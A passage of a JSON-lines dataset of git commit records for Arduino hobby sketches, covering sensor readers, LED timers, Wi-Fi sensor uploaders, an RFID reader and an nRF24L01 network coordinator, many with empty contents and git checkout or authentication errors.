sensorValues[2];\nvoid setup()\n{\n \/\/start Serial\n Serial.begin(9600);\n}\n\nvoid loop()\n{\n \/\/reading in sensor data from 6 analog sensors\n\n sensorValues[0] = analogRead(A2);\n sensorValues[1] = analogRead(A3);\n \n \/*\n if(SD.begin()){ \/\/Writing data to the SD card\n File data = SD.open(\"sensordata.csv\", FILE_WRITE);\n String row = \"\";\n for(int i = 0; i < 5; i++)\n {\n row = row + sensorValues[i] + \",\"; \/\/creating a comma separated file\n }\n row = row + sensorValues[5] + \"\\n\";\n char writeData[row.length()];\n row.toCharArray(writeData, row.length()); \/\/conversion to char array\n data.write(writeData);\n data.close();\n }*\/\n Serial.print(sensorValues[0]);\n Serial.print(\" | \");\n Serial.println(sensorValues[1]);\n delay(1000); \/\/wait 100ms\n \n}\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'AudrinoCode\/PressureSensorReadTest\/PressureSensorReadTest.ino' did not match any file(s) known to git\n","license":"apache-2.0","lang":"Arduino"} {"commit":"a46e373971ef459160af0c8410e3c4a0c22c5596","subject":"fix directin and (x, y) updates","message":"fix directin and (x, y) updates\n","repos":"lushl9301\/Yellow-SubArena","old_file":"exploration testing\/src\/main.ino","new_file":"exploration testing\/src\/main.ino","new_contents":"","old_contents":"","returncode":1,"stderr":"error: pathspec 'exploration' did not match any file(s) known to git\nerror: pathspec 'testing\/src\/main.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"243a891c56b8dfd54b4e9e0709855a8c9ba2c040","subject":"change to furthest obstacle","message":"change to furthest obstacle\n","repos":"lushl9301\/Yellow-SubArena","old_file":"exploration testing\/src\/main.ino","new_file":"exploration testing\/src\/main.ino","new_contents":"","old_contents":"","returncode":1,"stderr":"error: pathspec 'exploration' did not match any file(s) known to git\nerror: pathspec 'testing\/src\/main.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"8b37a422e514cb3e5df5189e67dce2b6413c505f","subject":"","message":"\n\nadded servo control message","repos":"electronicplayground\/ep-arduino,electronicplayground\/ep-arduino,electronicplayground\/ep-arduino,electronicplayground\/ep-arduino","old_file":"LinkitCamera\/LinkitCamera.ino","new_file":"LinkitCamera\/LinkitCamera.ino","new_contents":"","old_contents":"","returncode":128,"stderr":"remote: Support for password authentication was removed on August 13, 2021.\nremote: Please see https:\/\/docs.github.com\/en\/get-started\/getting-started-with-git\/about-remote-repositories#cloning-with-https-urls for information on currently recommended modes of authentication.\nfatal: Authentication failed for 'https:\/\/github.com\/electronicplayground\/ep-arduino.git\/'\n","license":"mit","lang":"Arduino"} {"commit":"a75dbb9357a831bf6046bbe55fd779cfcca697f1","subject":"Add SPI EEPROM 25LC040 example.","message":"Add SPI EEPROM 25LC040 example.\n","repos":"tkem\/mbino,tkem\/mbino,tkem\/mbino","old_file":"examples\/mbino-example-spi-25lc040\/mbino-example-spi-25lc040.ino","new_file":"examples\/mbino-example-spi-25lc040\/mbino-example-spi-25lc040.ino","new_contents":"#include \"mbed.h\"\n\n\/\/ use fully qualified class name to resolve ambiguities with\n\/\/ Arduino's own global \"SPI\" object\nmbed::SPI spi(SPI_MOSI, SPI_MISO, SPI_SCK);\nDigitalOut cs(D10);\n\nRawSerial pc(USBTX, USBRX);\n\nstatic const uint8_t READ = 0x03; \/\/ read data from memory array\nstatic const uint8_t WRITE = 0x02; \/\/ write data to memory array\nstatic const uint8_t WRDI = 0x04; \/\/ disable write operations\nstatic const uint8_t WREN = 0x06; \/\/ enable write operations\nstatic const uint8_t RDSR = 0x05; \/\/ read STATUS register\nstatic const uint8_t WRSR = 0x01; \/\/ write STATUS register\n\nuint16_t address = 0; \/\/ 0..511\n\nvoid setup() {\n \/\/ Chip must be deselected\n cs = 1;\n\n \/\/ Setup the spi for 8 bit data, high steady state clock, second\n \/\/ edge capture, with a 1MHz clock rate\n spi.format(8, 0);\n\n spi.set_default_write_value(0);\n}\n\nvoid loop() {\n const char tx_buffer[16] = \"0123456789ABCDEF\";\n char rx_buffer[16];\n\n pc.printf(\"write @0x%03x: %.16s\\r\\n\", address, tx_buffer);\n\n cs = 0;\n wait_ms(1);\n spi.write(WREN);\n spi.write(0);\n wait_ms(1);\n cs = 1;\n\n wait_ms(1);\n\n cs = 0;\n wait_ms(1);\n spi.write(WRITE | ((address & 0x100) >> 5));\n spi.write(address & 0xff);\n spi.write(tx_buffer, sizeof tx_buffer, 0, 0);\n wait_ms(1);\n cs = 1;\n\n wait_ms(1);\n\n cs = 0;\n wait_ms(1);\n spi.write(READ | ((address & 0x100) >> 5));\n spi.write(address & 0xff);\n spi.write(0, 0, rx_buffer, sizeof rx_buffer);\n wait_ms(1);\n cs = 1;\n\n pc.printf(\"read @0x%03x: %.16s\\r\\n\", address, rx_buffer);\n\n address += 16;\n address %= 512;\n\n wait(1);\n}\n\n#ifndef ARDUINO\nint main() {\n setup();\n for (;;) {\n loop();\n }\n}\n#endif\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'examples\/mbino-example-spi-25lc040\/mbino-example-spi-25lc040.ino' did not match any file(s) known to git\n","license":"apache-2.0","lang":"Arduino"} {"commit":"6ed7de567b95b04227bc48721e81ea72d1760a9d","subject":"Create every_n_timer_variable.ino","message":"Create every_n_timer_variable.ino\n\nEVERY_N trigger timer and variable timer example","repos":"marmilicious\/FastLED_examples","old_file":"every_n_timer_variable.ino","new_file":"every_n_timer_variable.ino","new_contents":"\/\/ EVERY_N trigger timer and variable timer example\n\/\/\n\/\/ Using EVERY_N with a timer check to always run \"Event B\" at\n\/\/ a specific time after \"Event A\".\n\/\/\n\/\/ Also, an example of using EVEN_N with a random variable time.\n\/\/\n\/\/ Marc Miller, May 2016\n\/\/---------------------------------------------------------------\n\n#include \"FastLED.h\"\n#define LED_TYPE APA102\n#define DATA_PIN 11\n#define CLOCK_PIN 13\n#define NUM_LEDS 39\n#define COLOR_ORDER BGR\n#define BRIGHTNESS 32\nCRGB leds[NUM_LEDS];\n\nuint16_t timerA = 3000; \/\/ How often to run Event A [milliseconds]\nuint16_t timerB = 500; \/\/ How long after A to run Event B [milliseconds]\nboolean counterTriggered = 0; \/\/ Event triggered? [1=true, 0=false]\n\n\n\/\/---------------------------------------------------------------\nvoid setup() { \n Serial.begin(115200); \/\/ Allows serial output (check baud rate)\n delay(3000); \/\/ 3 second startup delay\n FastLED.addLeds<LED_TYPE, DATA_PIN, CLOCK_PIN, COLOR_ORDER>(leds, NUM_LEDS);\n FastLED.setBrightness(BRIGHTNESS);\n}\n\n\/\/---------------------------------------------------------------\nvoid loop() {\n \n \/\/ Setting the amount of time for \"triggerTimer\".\n \/\/ You can name \"triggerTimer\" whatever you want.\n static CEveryNMilliseconds triggerTimer(timerB);\n \n EVERY_N_MILLISECONDS(timerA){\n \/\/ do Event A stuff\n fill_solid(leds, NUM_LEDS, CHSV(random8(),255,128));\n counterTriggered = 1; \/\/ Set to True\n triggerTimer.reset(); \/\/ Start trigger timer\n }\n \n if (counterTriggered == 1) { \/\/ Will only be True if Event A has started\n if (triggerTimer) { \/\/ Check if triggerTimer time reached\n \/\/ do Event B stuff\n for (uint8_t i=0; i<NUM_LEDS\/2; i++){\n leds[random8(NUM_LEDS+1)] = CRGB::Red;\n }\n counterTriggered = 0; \/\/ Set back to False\n }\n }\n\n\n EVERY_N_SECONDS_I( timingObj, 20) {\n \/\/ This initally defaults to 20 seconds, but then will change the run\n \/\/ period to a new random number of seconds from 10 and 30 seconds.\n timingObj.setPeriod( random8(10,31) );\n FastLED.clear();\n for (uint16_t i=0; i<NUM_LEDS*3; i++){\n leds[random8(NUM_LEDS+1)] = CRGB::Black;\n leds[random8(NUM_LEDS+1)] = CHSV(random8(), random8(140,255), random8(50,255));\n FastLED.show();\n delay(random8(20,80));\n }\n delay(500);\n }\n\n\n FastLED.show();\n \n}\/\/end main loop\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'every_n_timer_variable.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"f1a29df6fef6ceb24dd95b3bfe41f7ed91fb395b","subject":"Create AM2321Example.ino","message":"Create AM2321Example.ino","repos":"edwios\/AM2321_old,edwios\/AM2321_old","old_file":"examples\/AM2321Example.ino","new_file":"examples\/AM2321Example.ino","new_contents":"\/**************************************************************** \n This is the Spark Core example of using the library of the\n AM2321 Humidity and Temperature sensor\n This sensor uses custom I2C communication and supports 2 wires\n and one wire configuration.\n \n This example assumed a 2 wires configuration. \n \n Written by Ed Wios.\n Oct 2014\n ***************************************************************\/\n \n#include \"AM2321.h\"\n\n#include \"application.h\"\n\nextern char* itoa(int a, char* buffer, unsigned char radix);\n\nAM2321 am2321;\n\nchar str[8];\n\nvoid setup()\n{\n am2321.begin();\n Serial.begin(BAUD);\n}\n\nvoid loop()\n{\n\tunsigned long result = 0;\n\tunsigned int temp, humi = 0;\n\tunsigned int amID = 0;\n\n\tamID = am2321.readID();\n\tdelay(2000);\n\tresult = am2321.readAll();\n\thumi = result>>16;\n\ttemp = result&0xFFFF;\n\n\tSerial.print(\"ID: \");\n\tSerial.print(amID);\n\tSerial.print(\", Temp: \");\n\tSerial.print(temp\/10.0);\n\tSerial.print(\", Humi: \");\n\tSerial.println(humi\/10.0);\n\tdelay(2000);\n}\n\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'examples\/AM2321Example.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"848fb20a853cbb7a005d2869d0f34940eeff3a67","subject":"Added wifi door sensor sketch","message":"Added wifi door sensor sketch\n","repos":"squix78\/esp8266-projects,squix78\/esp8266-projects,squix78\/esp8266-projects,squix78\/esp8266-projects,zbeerladen\/esp8266-projects,zbeerladen\/esp8266-projects,zbeerladen\/esp8266-projects,zbeerladen\/esp8266-projects","old_file":"arduino-ide\/wifi-door-sensor\/wifi-door-sensor.ino","new_file":"arduino-ide\/wifi-door-sensor\/wifi-door-sensor.ino","new_contents":"\/*\n * This sketch sends data via HTTP GET requests to thingspeak service every 5 minutes\n * You have to set your wifi credentials and your thingspeak key.\n *\/\n\n#include <ESP8266WiFi.h>\n\n\nconst char* ssid = \"SSID\";\nconst char* password = \"PASSWORD\";\n\n\nconst char* host = \"api.thingspeak.com\";\nconst char* thingspeak_key = \"XXX\";\n\n#define MINUTES_SLEEPING 5\n\n#define DOOR_PIN 5 \/\/ NODEMCU: D1\n\nint retryCounter = 0;\n\nvoid setup() {\n Serial.begin(115200);\n pinMode(DOOR_PIN, OUTPUT);\n\n Serial.println();\n Serial.println();\n Serial.print(\"Connecting to \");\n Serial.println(ssid);\n \n WiFi.begin(ssid, password);\n \n while (WiFi.status() != WL_CONNECTED) {\n delay(500);\n Serial.print(\".\");\n retryCounter++;\n }\n\n Serial.println(\"\");\n Serial.println(\"WiFi connected\"); \n Serial.println(\"IP address: \");\n Serial.println(WiFi.localIP());\n}\n\n\nvoid loop() {\n\n Serial.print(\"connecting to \");\n Serial.println(host);\n \n \/\/ Use WiFiClient class to create TCP connections\n WiFiClient client;\n const int httpPort = 80;\n if (!client.connect(host, httpPort)) {\n Serial.println(\"connection failed\");\n return;\n }\n\n String url = \"\/update?key=\";\n url += thingspeak_key;\n url += \"&field1=\";\n url += String(digitalRead(DOOR_PIN));\n url += \"&field2=\";\n url += retryCounter;\n \n Serial.print(\"Requesting URL: \");\n Serial.println(url);\n \n \/\/ This will send the request to the server\n client.print(String(\"GET \") + url + \" HTTP\/1.1\\r\\n\" +\n \"Host: \" + host + \"\\r\\n\" + \n \"Connection: close\\r\\n\\r\\n\");\n delay(10);\n \n \/\/ Read all the lines of the reply from server and print them to Serial\n while(client.available()){\n String line = client.readStringUntil('\\r');\n Serial.print(line);\n }\n \n Serial.println();\n Serial.println(\"closing connection. going to sleep...\");\n ESP.deepSleep(1000 * 1000 * 60 * MINUTES_SLEEPING, WAKE_NO_RFCAL);\n}\n\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'arduino-ide\/wifi-door-sensor\/wifi-door-sensor.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"9129d623036d9cb1f47f1f66ffa4ed492489cd96","subject":"added BLE example","message":"added BLE example\n","repos":"u-fire\/ECSalinity,u-fire\/ECSalinity,u-fire\/ECSalinity","old_file":"examples\/BLE\/BLE.ino","new_file":"examples\/BLE\/BLE.ino","new_contents":"","old_contents":"","returncode":128,"stderr":"remote: Support for password authentication was removed on August 13, 2021.\nremote: Please see https:\/\/docs.github.com\/en\/get-started\/getting-started-with-git\/about-remote-repositories#cloning-with-https-urls for information on currently recommended modes of authentication.\nfatal: Authentication failed for 'https:\/\/github.com\/u-fire\/ECSalinity.git\/'\n","license":"mit","lang":"Arduino"} {"commit":"4a4f9e071e24a88c9dd2b0ff020256dc8be60dba","subject":"Simple bluetooth send program","message":"Simple bluetooth send program\n","repos":"zach-king\/ArduinoStash,zach-king\/ArduinoStash","old_file":"src\/bluetooth_simple\/bluetooth_simple.ino","new_file":"src\/bluetooth_simple\/bluetooth_simple.ino","new_contents":"\nvoid setup()\n{\n}\n\n\nvoid loop()\n{\n}\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'src\/bluetooth_simple\/bluetooth_simple.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"8e02abe05c8afca6a88cf8149dae95c3479341ce","subject":"ordene codigo","message":"ordene codigo\n","repos":"eariassoto\/RFModuloArduino","old_file":"transmisor\/transmisor.ino","new_file":"transmisor\/transmisor.ino","new_contents":"","old_contents":"","returncode":128,"stderr":"remote: Support for password authentication was removed on August 13, 2021.\nremote: Please see https:\/\/docs.github.com\/en\/get-started\/getting-started-with-git\/about-remote-repositories#cloning-with-https-urls for information on currently recommended modes of authentication.\nfatal: Authentication failed for 'https:\/\/github.com\/eariassoto\/RFModuloArduino.git\/'\n","license":"mit","lang":"Arduino"} {"commit":"b3d76f348083929aecd0ce7a55a79f1959f67759","subject":"cleaning up the queue at init","message":"cleaning up the queue at init\n","repos":"trinamic\/T-Bone,trinamic\/T-Bone,trinamic\/T-Bone,trinamic\/T-Bone,trinamic\/T-Bone,trinamic\/T-Bone,trinamic\/T-Bone","old_file":"ArduinoClient\/Commands.ino","new_file":"ArduinoClient\/Commands.ino","new_contents":"","old_contents":"","returncode":128,"stderr":"remote: Support for password authentication was removed on August 13, 2021.\nremote: Please see https:\/\/docs.github.com\/en\/get-started\/getting-started-with-git\/about-remote-repositories#cloning-with-https-urls for information on currently recommended modes of authentication.\nfatal: Authentication failed for 'https:\/\/github.com\/trinamic\/T-Bone.git\/'\n","license":"agpl-3.0","lang":"Arduino"} {"commit":"3e678f7df41e152217a13c186cec709e52496f3f","subject":"update comments","message":"update comments\n","repos":"daniel3514\/Adafruit-GFX-Library,daniel3514\/Adafruit-GFX-Library","old_file":"Examples\/Graphic functions Tests\/graphicstest\/graphicstest.ino","new_file":"Examples\/Graphic functions Tests\/graphicstest\/graphicstest.ino","new_contents":"","old_contents":"","returncode":1,"stderr":"error: pathspec 'Examples\/Graphic' did not match any file(s) known to git\nerror: pathspec 'functions' did not match any file(s) known to git\nerror: pathspec 'Tests\/graphicstest\/graphicstest.ino' did not match any file(s) known to git\n","license":"bsd-2-clause","lang":"Arduino"} {"commit":"061d102cc29123f34566a9093bf50aa59ca9568d","subject":"Correct example name","message":"Correct example name\n","repos":"Seeed-Studio\/Accelerometer_ADXL335","old_file":"examples\/MeasuringAcceleration\/MeasuringAcceleration.ino","new_file":"examples\/MeasuringAcceleration\/MeasuringAcceleration.ino","new_contents":"\/*****************************************************************************\/\n\/\/\tFunction: Get the accelemeter of the x\/y\/z axis. \n\/\/ Hardware: Grove - 3-Axis Analog Accelerometer\n\/\/\tArduino IDE: Arduino-1.0\n\/\/\tAuthor:\t Frankie.Chu\t\t\n\/\/\tDate: \t Jan 11,2013\n\/\/\tVersion: v1.0\n\/\/\tby www.seeedstudio.com\n\/\/\n\/\/ This library is free software; you can redistribute it and\/or\n\/\/ modify it under the terms of the GNU Lesser General Public\n\/\/ License as published by the Free Software Foundation; either\n\/\/ version 2.1 of the License, or (at your option) any later version.\n\/\/\n\/\/ This library is distributed in the hope that it will be useful,\n\/\/ but WITHOUT ANY WARRANTY; without even the implied warranty of\n\/\/ MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU\n\/\/ Lesser General Public License for more details.\n\/\/\n\/\/ You should have received a copy of the GNU Lesser General Public\n\/\/ License along with this library; if not, write to the Free Software\n\/\/ Foundation, Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA\n\/\/\n\/*******************************************************************************\/\n\n#include \"ADXL335.h\"\n\nADXL335 accelerometer;\nvoid setup()\n{\n\tSerial.begin(9600);\n\taccelerometer.begin();\n}\nvoid loop()\n{\n\tint x,y,z;\n\taccelerometer.getXYZ(&x,&y,&z);\n\tSerial.println(\"value of X\/Y\/Z: \");\n\tSerial.println(x);\n\tSerial.println(y);\n\tSerial.println(z);\n\tfloat ax,ay,az;\n\taccelerometer.getAcceleration(&ax,&ay,&az);\n\tSerial.println(\"accleration of X\/Y\/Z: \");\n\tSerial.print(ax);\n\tSerial.println(\" g\");\n\tSerial.print(ay);\n\tSerial.println(\" g\");\n\tSerial.print(az);\n\tSerial.println(\" g\");\n\tdelay(500);\n}","old_contents":"","returncode":1,"stderr":"error: pathspec 'examples\/MeasuringAcceleration\/MeasuringAcceleration.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"74ca20267de9497eeba51fab8e4b32460cf2d899","subject":"Revert \"Manufacturer specificies at least 10 microsec to trigger HC-SR04\"","message":"Revert \"Manufacturer specificies at least 10 microsec to trigger HC-SR04\"\n\nThis reverts commit 02c5184955d59027adc3181362bf810ea6ad29ae.","repos":"SumoRobotLeague\/MRK-1_Misc,SumoRobotLeague\/MRK-1_Misc","old_file":"Testing the Board\/Test_Ultrasound\/Test_Ultrasound.ino","new_file":"Testing the Board\/Test_Ultrasound\/Test_Ultrasound.ino","new_contents":"","old_contents":"","returncode":1,"stderr":"error: pathspec 'Testing' did not match any file(s) known to git\nerror: pathspec 'the' did not match any file(s) known to git\nerror: pathspec 'Board\/Test_Ultrasound\/Test_Ultrasound.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"322ab5f731f6988914e16e9e72007ede571ea791","subject":"Production version of Plant SpikerShield","message":"Production version of Plant SpikerShield","repos":"BackyardBrains\/SpikerShield,BackyardBrains\/SpikerShield","old_file":"Plant\/Arduino Code\/SpikeRecorder\/SpikeRecorderSpikerShield_V1_1.ino","new_file":"Plant\/Arduino Code\/SpikeRecorder\/SpikeRecorderSpikerShield_V1_1.ino","new_contents":"","old_contents":"","returncode":1,"stderr":"error: pathspec 'Plant\/Arduino' did not match any file(s) known to git\nerror: pathspec 'Code\/SpikeRecorder\/SpikeRecorderSpikerShield_V1_1.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"abe390a6015b31c25dab3e1999c14933549e52d6","subject":"Changed filtering.","message":"Changed filtering.\n","repos":"FirstBuild\/pizzaduino,FirstBuild\/pizzaduino,FirstBuild\/pizzaduino","old_file":"PizzaOvenControllerSketch\/PizzaOvenControllerSketch.ino","new_file":"PizzaOvenControllerSketch\/PizzaOvenControllerSketch.ino","new_contents":"","old_contents":"","returncode":128,"stderr":"remote: Support for password authentication was removed on August 13, 2021.\nremote: Please see https:\/\/docs.github.com\/en\/get-started\/getting-started-with-git\/about-remote-repositories#cloning-with-https-urls for information on currently recommended modes of authentication.\nfatal: Authentication failed for 'https:\/\/github.com\/FirstBuild\/pizzaduino.git\/'\n","license":"mit","lang":"Arduino"} {"commit":"7dde56d2076b0e6f3fc55ee97ab1943d954a9a48","subject":"Create ATSDashboard.ino","message":"Create ATSDashboard.ino","repos":"ardaozkal\/IoT_ATS_Dashboard","old_file":"ATSDashboard.ino","new_file":"ATSDashboard.ino","new_contents":"#include <SPI.h>\n#include <Wire.h>\n#include <Adafruit_GFX.h>\n#include <Adafruit_SSD1306.h>\n#include <ESP8266WiFi.h>\n\n\/\/ SCL GPIO5\n\/\/ SDA GPIO4\n#define OLED_RESET 0 \/\/ GPIO0\nAdafruit_SSD1306 display(OLED_RESET);\n\n#define NUMFLAKES 10\n#define XPOS 0\n#define YPOS 1\n#define DELTAY 2\n\nconst char* ssid = \"WIFI_SSID_HERE\";\nconst char* password = \"WIFI_PASS_HERE\";\n\nconst char* host = \"COMPUTER_IP_HERE\";\n\n#define LOGO16_GLCD_HEIGHT 16\n#define LOGO16_GLCD_WIDTH 16\nstatic const unsigned char PROGMEM logo16_glcd_bmp[] =\n{ B00000000, B11000000,\n B00000001, B11000000,\n B00000001, B11000000,\n B00000011, B11100000,\n B11110011, B11100000,\n B11111110, B11111000,\n B01111110, B11111111,\n B00110011, B10011111,\n B00011111, B11111100,\n B00001101, B01110000,\n B00011011, B10100000,\n B00111111, B11100000,\n B00111111, B11110000,\n B01111100, B11110000,\n B01110000, B01110000,\n B00000000, B00110000 };\n\n#if (SSD1306_LCDHEIGHT != 48)\n#error(\"Height incorrect, please fix Adafruit_SSD1306.h!\");\n#endif\n\nvoid setup() {\n Serial.begin(9600);\n\n \/\/ by default, we'll generate the high voltage from the 3.3v line internally! (neat!)\n display.begin(SSD1306_SWITCHCAPVCC, 0x3C); \/\/ initialize with the I2C addr 0x3C (for the 64x48)\n \/\/ init done\n\n display.display();\n delay(1000);\n display.clearDisplay();\n \n WiFi.begin(ssid, password);\n \n while (WiFi.status() != WL_CONNECTED) {\n delay(500);\n }\n\n display.clearDisplay();\n\nWiFiClient client1;\n const int httpPort = 80;\n\n while (true)\n { \n if (!client1.connect(host, httpPort)) {\n Serial.println(\"connection failed\");\n return;\n }\n \/\/ We now create a URI for the request\n String url = \"\/data.php?key=speed\";\n Serial.print(\"Requesting URL: \");\n Serial.println(url);\n \n \/\/ This will send the request to the server\n client1.print(String(\"GET \") + url + \" HTTP\/1.1\\r\\n\" +\n \"Host: \" + host + \"\\r\\n\" + \n \"Connection: close\\r\\n\\r\\n\");\n delay(500);\n \n String thing = \"\";\n \n while(client1.available()){\n String line = client1.readString();\n thing = thing + line;\n Serial.print(line);\n }\n String thespeed = thing.substring(thing.indexOf(\"<val>\") + 5, thing.lastIndexOf(\"<\/val>\"));\n \n if (!client1.connect(host, httpPort)) {\n Serial.println(\"connection failed\");\n return;\n }\n \/\/ We now create a URI for the request\n String url1 = \"\/data.php?key=speedLimit\";\n Serial.print(\"Requesting URL: \");\n Serial.println(url1);\n \n \/\/ This will send the request to the server\n client1.print(String(\"GET \") + url1 + \" HTTP\/1.1\\r\\n\" +\n \"Host: \" + host + \"\\r\\n\" + \n \"Connection: close\\r\\n\\r\\n\");\n delay(500);\n \n String thing1 = \"\";\n \n while(client1.available()){\n String line = client1.readString();\n thing1 = thing1 + line;\n Serial.print(line);\n }\n String thespeedlimit = thing1.substring(thing1.indexOf(\"<val>\") + 5, thing1.lastIndexOf(\"<\/val>\"));\n \n display.clearDisplay();\n display.setTextSize(1);\n display.setTextColor(WHITE);\n display.setCursor(0,0);\n display.println(\"Speed:\");\n display.setTextSize(2);\n \n display.print(thespeed.substring(0, thespeed.indexOf(\".\")));\n display.setTextSize(1);\n display.print(\"km\/h\");\n display.setTextSize(2);\n display.println(\" \");\n display.setTextSize(1);\n display.println(\"Limit: \");\n display.setTextSize(2);\n display.print(thespeedlimit);\n display.setTextSize(1);\n display.print(\"km\/h\");\n display.display();\n delay(250);\n }\n}\n\n\nvoid loop() {\n\n}\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'ATSDashboard.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"89f400bf8bafc772d7c5b3c9042184ae75e63e91","subject":"Create Arduino_program_RFID_send_serial.ino","message":"Create Arduino_program_RFID_send_serial.ino","repos":"tommarv\/Attendance-system","old_file":"Arduino_program_RFID_send_serial.ino","new_file":"Arduino_program_RFID_send_serial.ino","new_contents":"\/\/ \n#define SERIAL_TX_BUFFER_SIZE 64\n\/\/ \n#define SERIAL_RX_BUFFER_SIZE 64\n\/\/ definicia spi zbernice 9600 baudrate\n#include <SPI.h>\n#include <RFID.h>\n\/\/ \n#define SDA_DIO 10\n\/\/ \n#define RESET_DIO 9\n\/\/ \nRFID RC522(SDA_DIO, RESET_DIO);\n\n#include <Wire.h>\n\/\/ button definovany na pine 2\n\nconst int buttonPin = 3;\n\/\/stlacene tlacitko\nint buttonState = 0; \n\n\/\/\nchar button[1]=\"\";\n\/\/**dsc\n\n\n\/\/**dsc\nvoid setup() {\n\n \/\/ definovanie buttonPinu na ktorom bude tlacitko , tlacitka\n pinMode(buttonPin, INPUT);\n \/\/ aktivuje komunikaciu\n Wire.begin();\n \/\/ aktivuje spi\n SPI.begin(); \/\/inicializacia spi zbernice pre RFID\n \/\/aktivuje seriovu zbernicu\n Serial.begin(9600); \/\/inicializacia serioveho rozhrania pre priebeh programu\n RC522.init();\n \/\/if (Serial.available() > 0) {\n \/\/ ak bolo stlacene tlacitko\n \/\/\n \/\/}\n \/\/Serial.print(\"inicializating...\");\n \/\/Serial.println(\"Version RFID dochadzkovy V1\");\n }\nvoid loop() {\n \/\/\n delay(50);\n parsovanie();\n push_button();\n odozva();\n\/\/ paket pri na4itani karty\n\/\/ ID= identifikacia karta\n\/\/ - oddelovac\n\/\/ x=seriovecislokarty - 9 atribut\n\/\/ - oddelovac\n\/\/ zz= zapis niecoho - 2 atribut\n\/\/ - oddelovac\n\/\/ y=zapisatdata - 9 atribut\n\n\/\/odosleme paket ID-xxxxxxxxx-zz-yyyyyyyyy\n\n\n\n}\nvoid parsovanie(){\nbyte i;\nif (RC522.isCard())\n{\nRC522.readCardSerial();\n\/* Output the serial number to the UART *\/\nfor(i = 0; i <= 4; i++)\n{\nSerial.print(RC522.serNum[i],HEX);\n\/\/treba doprogramovat\n\/\/dsc3231 ako cas pre arduino\n}\n Serial.print(',');\n Serial.print(button[1]);\n Serial.println();\n\n}\nSerial.flush();\n\n}\nvoid push_button(){\nbuttonState = digitalRead(buttonPin);\nif (buttonState == LOW) {\n \/\/ ak tak \n button[1]= \"z\";\n } else {\n \/\/ ak tak\n button[1]= \"v\";\n }\n\n}\n\nvoid odozva(){\n if (Serial.read()==\"OK\"){\n \/\/beep(\n \n \/\/zapis na pin 3 led HIGH\n }\n \n }\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'Arduino_program_RFID_send_serial.ino' did not match any file(s) known to git\n","license":"apache-2.0","lang":"Arduino"} {"commit":"a790f151f024689fdb935da621136a52275d6230","subject":"Add files via upload","message":"Add files via upload\n\nSketch for MKR1000 network coordinator","repos":"ForceTronics\/nRF24L01-Sensor-Network-that-Connects-to-the-Cloud,ForceTronics\/nRF24L01-Sensor-Network-that-Connects-to-the-Cloud","old_file":"MKR1000_nRF24L01_Cloud.ino","new_file":"MKR1000_nRF24L01_Cloud.ino","new_contents":"\/*10\/24\/16 This code was written for the YouTube video \"Creating a Sensor Network that Connects to the Cloud Part 1\"\n * on the ForceTronics channel. This code is public domain and free to others to use and modify at your own risk\n *\/\n#include <RF24.h> \/\/nRF24L01 library: https:\/\/github.com\/TMRh20\/RF24\n#include <RF24NetworkNoSleep.h> \/\/modified verision of the RF24Network library to work on non-AVR platform\n#include <SPI.h> \n#include <WiFi101.h> \/\/used for WiFi on MKR1000 and WiFi shield\n\nchar ssid[] = \"YourNetworkName\"; \/\/ your network SSID (name)\nchar pass[] = \"YourNetworkPassword\"; \/\/ your network password (use for WPA, or use as key for WEP)\nint keyIndex = 0; \/\/ your network key Index number (needed only for WEP)\n\nint status = WL_IDLE_STATUS; \/\/set status variable\n\n\/\/global variables for holding sensor data\nint tempNode1 = 0;\nint tempNode2 = 0;\nint tempNode3 = 0;\n\n\/\/define some constant variables for pins and node number\nconst int LED_PIN = 6; \/\/ MKR1000's built-in LED\n\n\/\/define areas for phant cloud address and security keys\nconst char PhantHost[] = \"data.sparkfun.com\";\nconst char PublicKey[] = \"YourPublicKey\";\nconst char PrivateKey[] = \"YourPrivateKey\";\n\n\/\/these variables were leveraged from Phant library for ESP8266, created by Sparkfun\nString _pub;\nString _prv;\nString _host;\nString _params;\nstatic const char HEADER_POST_URL1[] PROGMEM = \"POST \/input\/\";\nstatic const char HEADER_POST_URL2[] PROGMEM = \".txt HTTP\/1.1\\n\";\nstatic const char HEADER_PHANT_PRV_KEY[] PROGMEM = \"Phant-Private-Key: \";\nstatic const char HEADER_CONNECTION_CLOSE[] PROGMEM = \"Connection: close\\n\";\nstatic const char HEADER_CONTENT_TYPE[] PROGMEM = \"Content-Type: application\/x-www-form-urlencoded\\n\";\nstatic const char HEADER_CONTENT_LENGTH[] PROGMEM = \"Content-Length: \";\n\n\/\/ start RF24 communication layer\nRF24 radio(5,7);\n\n\/\/ start RF24 network layer\nRF24NetworkNoSleep network(radio);\n\n\/\/ Coordinator address\nconst uint16_t thisNode = 00;\n\n\/\/ Structure of our payload coming from router and end devices\nstruct Payload\n{\n float aDCTemp; \/\/temperature from onboard sensor\n bool batState; \/\/bool to communicate battery power level, true is good and false means battery needs to be replaced\n};\n\nvoid setup() {\n Serial.begin(57600);\n while (!Serial) {\n ; \/\/ wait for serial port to connect. Sketch will stop here until open Serial Monitor\n }\n Serial.println(\"Coordinator is online.....\");\n\n \/\/ check for the presence of the shield:\n if (WiFi.status() == WL_NO_SHIELD) {\n \/\/ don't continue:\n Serial.println(\"No WiFi Shield detected so stop here....\");\n while (true);\n }\n\n \/\/ Connect to WPA\/WPA2 network. Change this line if using open or WEP network:\n status = WiFi.begin(ssid, pass);\n\n while (status != WL_CONNECTED) {\n \/\/loop until we connect\n }\n 